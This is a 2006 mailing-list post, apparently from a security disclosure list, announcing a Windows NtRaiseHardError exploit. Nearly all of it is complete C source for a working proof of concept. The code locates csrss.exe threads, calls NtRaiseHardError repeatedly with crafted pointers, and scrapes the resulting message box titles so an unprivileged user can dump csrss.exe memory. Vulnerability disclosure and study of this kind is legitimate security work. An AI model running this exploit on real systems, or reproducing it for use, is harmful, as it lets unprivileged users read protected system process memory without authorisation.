<<< Date Index >>>     <<< Thread Index >>>

NtRaiseHardError Csrss.exe memory Disclosure exploit



Hi,

I have been taking a look at the NtRaiseHardError bug and just for fun
I've coded an exploit. Watch out, not for the double free vulnerability
(indeed I have not analyzed that piece of code yet) but  just relying on
 NtRaiseHardError internals and how is dispatched a MessageBox with
MB_SERVICE_NOTIFICATION parameter enabled...

In google groups there are old references for this bug as a
DoS.Unprivileged users can exploit that bug in order to read Csrss.exe
process memory though.
Not a big deal, but curious at least.

Tested on XP SP2 and 2K SP4 fully patched.

cheers,
Rubén.

----------------------------------------------
Direct download
http://www.reversemode.com/index.php?option=com_remository&Itemid=2&func=fileinfo&id=43

/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError
///// Csrss.exe memory disclosure
/////////////////////////////////////////
///// Ruben Santamarta
///// ruben at reversemode dot com
///// www.reversemode.com
/////////////////////////////////////////
///// 12.27.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////

#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>


#define UNICODE
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS              ((NTSTATUS) 0x00000000)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS) 0xC0000004)
#define STATUS_INVALID_PARAMETER    ((NTSTATUS) 0xC000000D)
#define SystemProcessesAndThreadsInformation    5
#define NTAPI   __stdcall

int gLen=1;


typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS,
                                    ULONG,
                                    ULONG,
                                    PULONG,
                                    UINT,
                                    PULONG);


typedef LONG NTSTATUS;
typedef LONG    KPRIORITY;

typedef struct _CLIENT_ID {
    DWORD           UniqueProcess;
    DWORD           UniqueThread;
} CLIENT_ID, * PCLIENT_ID;


typedef struct _VM_COUNTERS {
    SIZE_T          PeakVirtualSize;
    SIZE_T          VirtualSize;
    ULONG           PageFaultCount;
    SIZE_T          PeakWorkingSetSize;
    SIZE_T          WorkingSetSize;
    SIZE_T          QuotaPeakPagedPoolUsage;
    SIZE_T          QuotaPagedPoolUsage;
    SIZE_T          QuotaPeakNonPagedPoolUsage;
    SIZE_T          QuotaNonPagedPoolUsage;
    SIZE_T          PagefileUsage;
    SIZE_T          PeakPagefileUsage;
} VM_COUNTERS;


typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER   KernelTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   CreateTime;
    ULONG                       WaitTime;
    PVOID                       StartAddress;
    CLIENT_ID       ClientId;
    KPRIORITY       Priority;
    KPRIORITY       BasePriority;
    ULONG                       ContextSwitchCount;
    LONG                        State;
    LONG                        WaitReason;
} SYSTEM_THREAD_INFORMATION, * PSYSTEM_THREAD_INFORMATION;



typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG                       NextEntryDelta;
    ULONG                       ThreadCount;
    ULONG                       Reserved1[6];
    LARGE_INTEGER   CreateTime;
    LARGE_INTEGER   UserTime;
    LARGE_INTEGER   KernelTime;
    UNICODE_STRING  ProcessName;
    KPRIORITY       BasePriority;
    ULONG                       ProcessId;
    ULONG                       InheritedFromProcessId;
    ULONG                       HandleCount;
    ULONG                       Reserved2[2];
    VM_COUNTERS     VmCounters;
    IO_COUNTERS     IoCounters;
    SYSTEM_THREAD_INFORMATION  Threads[5];
} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION;



typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);


ULONG GetCsrssThread()
{
        ULONG cbBuffer = 0x5000;
        ULONG tPointer;
    LPVOID pBuffer = NULL;
    NTSTATUS Status;
        PCWSTR pszProcessName;
        DWORD  junk;
        ULONG ThreadCount;
        int i=0,b=0;

        PQUERYSYSTEM NtQuerySystemInformation;
        PSYSTEM_THREAD_INFORMATION pThreads;
        PSYSTEM_PROCESS_INFORMATION pInfo ;

        NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress( LoadLibrary(
"ntdll.dll" ),
                                                                                
           "NtQuerySystemInformation" );

        
        do
    {
        pBuffer = malloc(cbBuffer);
        if (pBuffer == NULL)
        {
            printf(("Not enough memory\n"));
           break;
        }

        Status = NtQuerySystemInformation(
                    SystemProcessesAndThreadsInformation,
                    pBuffer, cbBuffer, NULL);

        if (Status == STATUS_INFO_LENGTH_MISMATCH)
        {
            free(pBuffer);
            cbBuffer *= 2;
        }
        else if (!NT_SUCCESS(Status))
        {
                        printf("NtQuerySystemInformation Error! ");
            free(pBuffer);
        }
                
    }   while (Status == STATUS_INFO_LENGTH_MISMATCH);


        pInfo = (PSYSTEM_PROCESS_INFORMATION)pBuffer;

    for (;;)
    {
                

                if (pInfo->NextEntryDelta == 0)
                        break;
                if(pInfo->ProcessName.Buffer!=NULL &&
        !wcsicmp(pInfo->ProcessName.Buffer,L"csrss.exe"))
                {

                        printf("\n[%ws]  \n\n", pInfo->ProcessName.Buffer);
                        printf("5 addresses for testing purposes\n\n");
               for(b=0;b<5;b++)
           {
             printf("Thread %d ->
0x%x\n",b,pInfo->Threads[b].StartAddress);      
           }
                   tPointer=(ULONG)pInfo->Threads[1].StartAddress;
        }
                pInfo = (PSYSTEM_PROCESS_INFORMATION)(((PUCHAR)pInfo)
                                                + pInfo->NextEntryDelta);
    }

    free(pBuffer);
    return tPointer;
}

VOID WINAPI ReadBox( LPVOID param )
{

        HWND hWindow,hButton,hText;
        int i=0,b=0;
        int gTemp;
        char lpTitle[300];
        char lpText[300];
        char lpBuff[500];
        
        for (;;)
        {
        
                lpText[0]=(BYTE)"";
       Sleep(800);
                hWindow = FindWindow("#32770",NULL);
                if(hWindow != NULL)
                {
                        GetWindowText(hWindow,(LPSTR)&lpTitle,250);
                
                        hText=FindWindowEx(hWindow,0,"static",0);
                
                        GetWindowText(hText,(LPSTR)&lpText,250);
                        hText=GetNextWindow(hText,GW_HWNDNEXT);
                        
            GetWindowText(hText,(LPSTR)&lpText,250);
                    gTemp = strlen(lpTitle);

            if ( gTemp>1 ) gLen = gTemp;
            else gLen = 1;
                        
            for(i = 0; i < gTemp; i++)   printf("%.2X",(BYTE)lpTitle[i]);

                
                    SendMessage(hWindow,WM_CLOSE,0,0);
                        
            ZeroMemory((LPVOID)lpTitle,250);
                        ZeroMemory((LPVOID)lpText,250);
                        ZeroMemory((LPVOID)lpBuff,300);
                }

        }
}




int main()
{

   UNICODE_STRING uStr={5,5,L"fun!"};
   ULONG retValue,args[]={0,0,&uStr};
   ULONG csAddr;
   PNTRAISE NtRaiseHardError;
   int i=0;

    system("cls");
    printf("##########################################\n");
    printf("### Microsoft Windows NtRaiseHardError ###\n");
    printf("#####  Csrss.exe memory disclosure  ######\n");
    printf("@@@@@  Xmas Exploit   -   ho ho ho! @@@@@@\n");
    printf("## Ruben Santamarta www.reversemode.com ##\n");
    printf("##########################################\n\n");

    NtRaiseHardError=(PNTRAISE)GetProcAddress(GetModuleHandle("ntdll.dll"),
                                               "NtRaiseHardError");
        
    csAddr=GetCsrssThread();

    args[0]=csAddr;
        args[1]=csAddr;
        printf("\n[+] Capturing Messages \n");

    CreateThread( NULL,
                                  0,
                                 (LPTHREAD_START_ROUTINE)ReadBox,
                                  0,
                                  0,
                                 NULL);


                                
        printf("\n[+] Now reading at: [0x%p] - Thread 1\n\n",csAddr);           

   for(;;)
   {
    printf("Reading bytes at [0x%p] : ",args[0]);
    NtRaiseHardError(0x50000018,3,4,args,1,&retValue);

    if(retValue && gLen<=1)          printf("00\n");
    else printf("\n");

    args[0]+=gLen;
    args[1]+=gLen;
    }
}